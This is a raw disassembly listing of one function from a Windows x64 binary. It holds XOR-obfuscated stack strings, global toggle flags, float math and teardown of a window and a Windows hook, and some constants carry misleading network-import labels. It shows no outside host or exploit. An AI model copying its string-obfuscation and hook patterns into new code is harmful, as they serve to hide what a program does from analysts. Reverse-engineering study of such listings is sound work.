mov byte [rbp + 0xfb], r15b
mov byte [rbp + 0xfc], r12b
call fcn.1400446a0
xor r12d, r12d
test al, al
je 0x1400663c7
mov ecx, r12d
mov dl, 1
mov dword [0x1401690ac], ecx
mov byte [0x140168fc9], dl
jmp 0x1400663d4
movzx edx, byte [0x140168fc9]
mov ecx, dword [0x1401690ac]
call fcn.140063cb0
movaps xmm2, xmm7
lea rcx, [rbp + 0x188]
movaps xmm1, xmm7
call fcn.140004600
mov dl, 0x30
mov byte [rbp], reloc.WS2_32.dll_send
movzx r8d, dl
mov cl, 0x6b
xor dl, 0x13
xor cl, 0x13
mov r9b, 0x7f
mov byte [rbp + 2], dl
mov r10b, WSACleanup
mov byte [rbp + 1], cl
mov r11b, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 1]
xor r8b, 0x13
xor r9b, 0x13
xor r10b, 0x13
mov byte [rbp + 3], r8b
xor r11b, 0x13
mov byte [rbp + 4], r9b
xor ebx, ebx
mov byte [rbp + 5], r10b
mov rdx, rax
mov byte [rbp + 6], r11b
mov byte [rbp + 7], bl
call fcn.1400446a0
test al, al
je 0x140066456
cmp byte [0x14016907d], bl
mov dword [0x140169078], r12d
je 0x140066456
mov byte [0x14016907d], bl
movaps xmm1, xmm8
xorps xmm0, xmm0
call fcn.1400179f0
movaps xmm2, xmm7
lea rcx, [rbp + 0x190]
movaps xmm1, xmm10
call fcn.140004600
mov cl, 0x54
mov byte [rbp + 0x30], gethostname
xor cl, 0x38
mov dl, 0x59
xor dl, 0x38
mov byte [rbp + 0x31], cl
mov r8b, 0x5f
mov byte [rbp + 0x32], dl
mov r9b, Ordinal_26
lea rcx, [rbp + 0x31]
mov r10b, 0x53
mov r11b, 0x5d
xor r8b, 0x38
xor r9b, 0x38
xor r10b, 0x38
mov byte [rbp + 0x33], r8b
xor r11b, 0x38
mov byte [rbp + 0x34], r9b
mov bl, 0x41
mov byte [rbp + 0x35], r10b
xor edi, edi
mov byte [rbp + 0x36], r11b
xor bl, 0x38
mov byte [rbp + 0x38], dil
mov rdx, rax
mov byte [rbp + 0x37], bl
call fcn.1400446a0
test al, al
je 0x1400664f5
mov ecx, r12d
mov dl, 1
mov dword [0x140169078], ecx
mov byte [0x14016907d], dl
call fcn.140063cb0
mov r14, qword [rbp + 0x128]
jmp 0x140066ca9
movzx edx, byte [0x14016907d]
mov ecx, dword [0x140169078]
call fcn.140063cb0
mov r14, qword [rbp + 0x128]
jmp 0x140066ca9
cmp dword [0x140168178], r15d
je 0x140066ca9
movaps xmm0, xmm13
call fcn.140017b90
mov r8b, 0x24
mov byte [rbp + 0x100], Ordinal_79
movzx r10d, r8b
mov al, 0x68
movzx ecx, al
mov dl, Ordinal_41
movzx esi, dl
mov r11b, reloc.WS2_32.dll_gethostname
xor cl, 0x4b
movzx r12d, r11b
xor dl, 0x4b
mov byte [rbp + 0x102], cl
xor r8b, 0x4b
mov byte [rbp + 0x103], dl
mov r9b, Ordinal_41
mov byte [rbp + 0x104], r8b
xor al, 0x4b
lea rcx, [rbp + 0x101]
xor r9b, 0x4b
mov byte [rbp + 0x101], al
xor r10b, 0x4b
mov byte [rbp + 0x105], r9b
xor r11b, 0x4b
mov byte [rbp + 0x106], r10b
mov bl, Ordinal_60
mov byte [rbp + 0x107], r11b
mov dil, Ordinal_35
lea rdx, [rbp + 0x2d8]
mov r14b, reloc.WLDAP32.dll_Ordinal_32
mov r15b, reloc.WLDAP32.dll_Ordinal_46
xor r13d, r13d
xor bl, 0x4b
xor dil, 0x4b
mov byte [rbp + 0x108], bl
xor sil, 0x4b
mov byte [rbp + 0x109], dil
xor r14b, 0x4b
mov byte [rbp + 0x10a], sil
xor r15b, 0x4b
mov byte [rbp + 0x10b], r14b
xor r12b, 0x4b
mov byte [rbp + 0x10c], r15b
mov r8d, 0x4000120
mov byte [rbp + 0x10d], r12b
mov byte [rbp + 0x10e], r13b
call fcn.140050ad0
test al, al
je 0x140066657
movss xmm0, dword [rbp + 0x2d8]
lea rax, [rbp + 0x2e8]
movss xmm1, dword [rbp + 0x2dc]
lea r9, [rbp + 0x2d4]
movss xmm2, dword [rbp + 0x2e0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x2f8]
mov qword [rsp + 0x20], rax
movss dword [rbp + 0x238], xmm0
movss dword [rbp + 0x234], xmm1
movss dword [rbp + 0x230], xmm2
call fcn.140006b80
mov cl, 0x30
mov byte [rbp - 0x4c], 0x77
xor cl, 0x77
mov dl, 0x35
xor dl, 0x77
mov byte [rbp - 0x4a], cl
mov al, 0x25
mov byte [rbp - 0x49], dl
xor r8d, r8d
lea rdx, [rbp + 0x2d0]
xor al, 0x77
mov byte [rbp - 0x48], r8b
lea rcx, [rbp - 0x4b]
mov byte [rbp - 0x4b], al
call fcn.140045ab0
movaps xmm2, xmm7
lea rcx, [rbp + 0x198]
movaps xmm1, xmm7
call fcn.140004600
mov dl, 0x79
mov byte [rbp + 0x20], 0x5a
movzx r8d, dl
mov cl, Ordinal_35
xor dl, 0x5a
xor cl, 0x5a
mov r9b, reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x22], dl
mov r10b, 0x33
mov byte [rbp + 0x21], cl
mov r11b, 0x3e
lea rcx, [rbp + 0x21]
xor r8b, 0x5a
xor r9b, 0x5a
xor r10b, 0x5a
mov byte [rbp + 0x23], r8b
xor r11b, 0x5a
mov byte [rbp + 0x24], r9b
mov bl, 0x3f
mov byte [rbp + 0x25], r10b
xor edi, edi
mov byte [rbp + 0x26], r11b
xor bl, 0x5a
mov byte [rbp + 0x28], dil
mov rdx, rax
mov byte [rbp + 0x27], bl
call fcn.1400446a0
test al, al
je 0x140066710
cmp byte [0x14016907c], dil
mov dword [0x1401690a4], edi
je 0x140066710
mov byte [0x14016907c], dil
movaps xmm1, xmm8
xorps xmm0, xmm0
call fcn.1400179f0
movaps xmm2, xmm7
lea rcx, [rbp + 0x1a0]
movaps xmm1, xmm10
call fcn.140004600
mov r9b, 0x49
mov byte [rsp + 0x60], Ordinal_46
movzx ebx, r9b
mov cl, 0x44
xor cl, 0x2c
mov dl, 0x45
xor dl, 0x2c
mov byte [rsp + 0x61], cl
mov r8b, 0x48
mov byte [rsp + 0x62], dl
mov r10b, listen
lea rcx, [rsp + 0x61]
mov r11b, 0x47
xor r8b, 0x2c
xor r9b, 0x2c
mov byte [rsp + 0x63], r8b
xor r10b, 0x2c
mov byte [rsp + 0x64], r9b
xor r11b, 0x2c
mov byte [rsp + 0x65], r10b
mov dil, 0x55
mov byte [rsp + 0x66], r11b
xor bl, 0x2c
xor esi, esi
xor dil, 0x2c
mov byte [rsp + 0x67], bl
mov rdx, rax
mov byte [rsp + 0x68], dil
mov byte [rsp + 0x69], sil
call fcn.1400446a0
test al, al
je 0x1400667cb
xor ecx, ecx
mov dl, 1
cmp byte [0x140168fcd], cl
mov dword [0x1401690a4], ecx
mov byte [0x14016907c], dl
je 0x1400667d8
mov dword [0x140169118], ecx
mov byte [0x140168fcd], cl
jmp 0x1400667d8
mov ecx, dword [0x1401690a4]
movzx edx, byte [0x14016907c]
call fcn.140063cb0
call fcn.140046ae0
movdqa xmm1, xmmword [0x1401559a0]
mov dl, 0x51
movd ecx, xmm1
movzx r10d, dl
movdqa xmm2, xmmword [0x140155a10]
movdqa xmm0, xmm1
movdqu xmmword [rbp + 0x2b0], xmm2
xor byte [rbp + 0x2b1], cl
xor dl, cl
xor byte [rbp + 0x2b2], cl
xor r10b, cl
xor byte [rbp + 0x2b3], cl
mov r8b, reloc.WLDAP32.dll_Ordinal_30
xor byte [rbp + 0x2b4], cl
xor r8b, cl
xor byte [rbp + 0x2b5], cl
mov r9b, Ordinal_33
xor byte [rbp + 0x2b6], cl
xor r9b, cl
xor byte [rbp + 0x2b7], cl
mov r11b, reloc.WS2_32.dll_recv
xor byte [rbp + 0x2b8], cl
xor r11b, cl
xor byte [rbp + 0x2b9], cl
xor byte [rbp + 0x2ba], cl
xor byte [rbp + 0x2bb], cl
xor byte [rbp + 0x2bc], cl
xor byte [rbp + 0x2bd], cl
xor byte [rbp + 0x2be], cl
xor byte [rbp + 0x2bf], cl
movdqu xmmword [rbp + 0x2a0], xmm1
xor byte [rbp + 0x2a2], cl
xor byte [rbp + 0x2a3], cl
xor byte [rbp + 0x2a4], cl
xor byte [rbp + 0x2a5], cl
xor byte [rbp + 0x2a6], cl
xor byte [rbp + 0x2a7], cl
xor byte [rbp + 0x2a8], cl
xor byte [rbp + 0x2a9], cl
xor byte [rbp + 0x2aa], cl
xor byte [rbp + 0x2ab], cl
xor byte [rbp + 0x2ac], cl
xor byte [rbp + 0x2ad], cl
xor byte [rbp + 0x2ae], cl
xor byte [rbp + 0x2af], cl
psrldq xmm0, 1
movd eax, xmm0
mov byte [rbp + 0x2c0], dl
mov byte [rbp + 0x2c1], r8b
xor al, cl
mov byte [rbp + 0x2c2], r9b
mov byte [rbp + 0x2a1], al
movd eax, xmm2
mov byte [rbp + 0x2c3], r10b
mov byte [rbp + 0x2c4], r11b
xor al, cl
mov byte [rbp + 0x2c5], sil
lea rcx, [rbp + 0x2a1]
mov byte [rbp + 0x2b0], al
call fcn.140043900
movdqa xmm1, xmmword [0x140155a90]
mov dl, reloc.WS2_32.dll_recvfrom
movdqa xmm2, xmmword [0x140155ac0]
movdqa xmm0, xmm1
psrldq xmm0, 1
mov bl, 0x50
movd eax, xmm0
mov cl, 0x55
movdqu xmmword [rbp + 0x2a0], xmm1
mov r9b, 0x45
mov r10b, 0x5e
movdqu xmmword [rbp + 0x2b0], xmm2
movzx r11d, dl
movzx edi, dl
mov sil, 0x53
movd r8d, xmm1
movzx r14d, bl
mov r15b, 0x5f
mov r12b, Ordinal_33
xor byte [rbp + 0x2a2], r8b
xor al, r8b
xor byte [rbp + 0x2a3], r8b
xor cl, r8b
xor byte [rbp + 0x2a4], r8b
xor dl, r8b
xor byte [rbp + 0x2a5], r8b
xor r9b, r8b
xor byte [rbp + 0x2a6], r8b
xor r10b, r8b
xor byte [rbp + 0x2a7], r8b
xor r11b, r8b
xor byte [rbp + 0x2a8], r8b
xor bl, r8b
xor byte [rbp + 0x2a9], r8b
xor dil, r8b
xor byte [rbp + 0x2aa], r8b
xor sil, r8b
xor byte [rbp + 0x2ab], r8b
xor r14b, r8b
xor byte [rbp + 0x2ac], r8b
xor r15b, r8b
xor byte [rbp + 0x2ad], r8b
xor r12b, r8b
xor byte [rbp + 0x2ae], r8b
xor byte [rbp + 0x2af], r8b
xor byte [rbp + 0x2b1], r8b
xor byte [rbp + 0x2b2], r8b
xor byte [rbp + 0x2b3], r8b
xor byte [rbp + 0x2b4], r8b
xor byte [rbp + 0x2b5], r8b
xor byte [rbp + 0x2b6], r8b
xor byte [rbp + 0x2b7], r8b
xor byte [rbp + 0x2b8], r8b
xor byte [rbp + 0x2b9], r8b
xor byte [rbp + 0x2ba], r8b
xor byte [rbp + 0x2bb], r8b
xor byte [rbp + 0x2bc], r8b
xor byte [rbp + 0x2bd], r8b
xor byte [rbp + 0x2be], r8b
xor byte [rbp + 0x2bf], r8b
mov byte [rbp + 0x2a1], al
movd eax, xmm2
mov byte [rbp + 0x2c0], cl
lea rcx, [rbp + 0x2a1]
mov byte [rbp + 0x2c1], dl
xor al, r8b
mov byte [rbp + 0x2c2], r9b
mov byte [rbp + 0x2b0], al
mov byte [rbp + 0x2c3], r10b
mov byte [rbp + 0x2c4], r11b
mov byte [rbp + 0x2c5], bl
mov byte [rbp + 0x2c6], dil
mov byte [rbp + 0x2c7], sil
mov byte [rbp + 0x2c8], r14b
mov byte [rbp + 0x2c9], r15b
mov byte [rbp + 0x2ca], r12b
mov byte [rbp + 0x2cb], r13b
call fcn.140043900
mov r14, qword [rbp + 0x128]
xor r12d, r12d
jmp 0x140066ca9
movss xmm2, dword [0x140155758]
lea rcx, [rbp + 0x1a8]
movss xmm1, dword [0x14015574c]
call fcn.140004600
mov rcx, rax
xor edx, edx
call fcn.1400169d0
mov eax, dword [0x1401691a4]
mov ecx, dword [0x14016919c]
cdq
sub eax, edx
sar eax, 1
mov edx, eax
call fcn.140062110
mov ecx, dword [0x140169198]
movd xmm6, eax
mov eax, dword [0x1401691a0]
cdq
sub eax, edx
sar eax, 1
mov edx, eax
cvtdq2ps xmm6, xmm6
call fcn.140062110
lea rcx, [rbp + 0x1b0]
movd xmm1, eax
movaps xmm2, xmm6
cvtdq2ps xmm1, xmm1
call fcn.140004600
mov rcx, rax
mov edx, 4
call fcn.140016890
cmp byte [0x140169148], 0
je 0x140066bbd
lea rcx, [rbp + 0x1b8]
call fcn.1400168b0
lea rcx, [rbp + 0x1c0]
movss xmm6, dword [rax + 4]
call fcn.1400168b0
movaps xmm2, xmm6
lea rcx, [rbp + 0x1c8]
movss xmm1, dword [rax]
subss xmm1, xmm14
call fcn.140004600
mov rcx, rax
xor edx, edx
call fcn.1400169d0
mov byte [0x140169148], 0
mov byte [reloc.WS2_32.dll_accept], 1
xorps xmm2, xmm2
lea rcx, [rbp + 0x1d0]
xorps xmm1, xmm1
call fcn.140004600
mov cl, 0x77
mov byte [rbp + 0x60], 0x54
movzx edx, cl
mov r9b, Ordinal_60
mov r10b, Ordinal_60
mov r11b, reloc.WLDAP32.dll_Ordinal_32
xor dl, 0x54
movzx edi, r10b
movzx esi, r11b
mov byte [rbp + 0x62], dl
xor cl, 0x54
xor r9b, 0x54
mov r8b, gethostname
mov byte [rbp + 0x61], cl
xor r8b, 0x54
mov byte [rbp + 0x64], r9b
mov byte [rbp + 0x63], r8b
lea rcx, [rbp + 0x61]
xor r10b, 0x54
xor r11b, 0x54
mov bl, Ordinal_50
mov byte [rbp + 0x65], r10b
xor r15d, r15d
mov byte [rbp + 0x66], r11b
xor bl, 0x54
mov byte [rbp + 0x6a], r15b
xor dil, 0x54
mov byte [rbp + 0x67], bl
xor sil, 0x54
mov byte [rbp + 0x68], dil
mov rdx, rax
mov byte [rbp + 0x69], sil
xor r9d, r9d
mov r8b, 1
call fcn.14000ff10
call fcn.140046ae0
xorps xmm0, xmm0
call fcn.140017b30
mov cl, 0x5e
mov byte [rbp - 8], reloc.WLDAP32.dll_Ordinal_46
xor cl, 0x2e
mov dl, 0x5c
xor dl, 0x2e
mov byte [rbp - 6], cl
mov al, 0x5d
mov byte [rbp - 5], dl
mov r8b, 0x47
lea rdx, [0x140168fca]
mov r9b, 0x40
lea rcx, [rbp - 7]
mov r10b, 0x5a
xor r11d, r11d
xor al, 0x2e
mov byte [rbp - 1], r11b
xor r8b, 0x2e
mov byte [rbp - 7], al
xor r9b, 0x2e
mov byte [rbp - 4], r8b
xor r10b, 0x2e
mov byte [rbp - 3], r9b
mov byte [rbp - 2], r10b
call fcn.140045ab0
call fcn.14000ffc0
call fcn.140015e90
mov rdi, qword [rbp + 0x120]
mov esi, 0xffff8001
mov r15d, 1
call fcn.14000f560
movss xmm2, dword [rbp + 0x334]
lea r8, [0x1401690b0]
movss xmm1, dword [rbp + 0x32c]
movaps xmm0, xmm2
mulss xmm0, dword [rbp + 0x328]
xor r9d, r9d
mov rcx, qword [0x140169110]
mov edx, r15d
mulss xmm1, xmm2
movss dword [rbp + 0x5b0], xmm0
movss xmm0, dword [rbp + 0x330]
mulss xmm0, xmm2
movss dword [rbp + 0x5b4], xmm1
movss dword [rbp + 0x5bc], xmm2
movss dword [rbp + 0x5b8], xmm0
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x140169110]
lea r8, [rbp + 0x5b0]
mov rdx, qword [0x1401690b0]
mov rax, qword [rcx]
call qword [rax + 0x190]
call fcn.14000a370
mov rcx, rax
call fcn.14003d370
test dword [r14], 0x400
je 0x140066d74
call fcn.140020c00
xor edx, edx
xor ecx, ecx
call fcn.140021060
mov rcx, qword [0x1401690b8]
xor r8d, r8d
mov edx, r15d
mov rax, qword [rcx]
call qword [rax + 0x40]
mov ebx, dword [rbp - 0x80]
mov r13d, dword [rbp + 0x114]
jmp 0x140064ef1
call fcn.14003e5f0
call fcn.14003ee10
xor ecx, ecx
call fcn.14000a300
call fcn.140066fd0
mov rcx, qword [rbp + 0x130]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x268]
mov rcx, qword [rbp + 0x290]
call qword [sym.imp.USER32.dll_UnregisterClassA]
call fcn.14005fcc0
mov rcx, qword [0x140168f98]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, [rbp + 0x4c0]
call fcn.140067e90
lea rcx, [rbp + 0x4c0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x308]
call fcn.1400030b0
lea rcx, [rbp + 0x3a8]
call fcn.1400030b0
lea rcx, [rbp + 0x360]
call fcn.1400030b0
xor eax, eax
mov rcx, qword [rbp + 0x610]
xor rcx, rsp
call fcn.1400cb880
lea r11, [rsp + 0x7c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret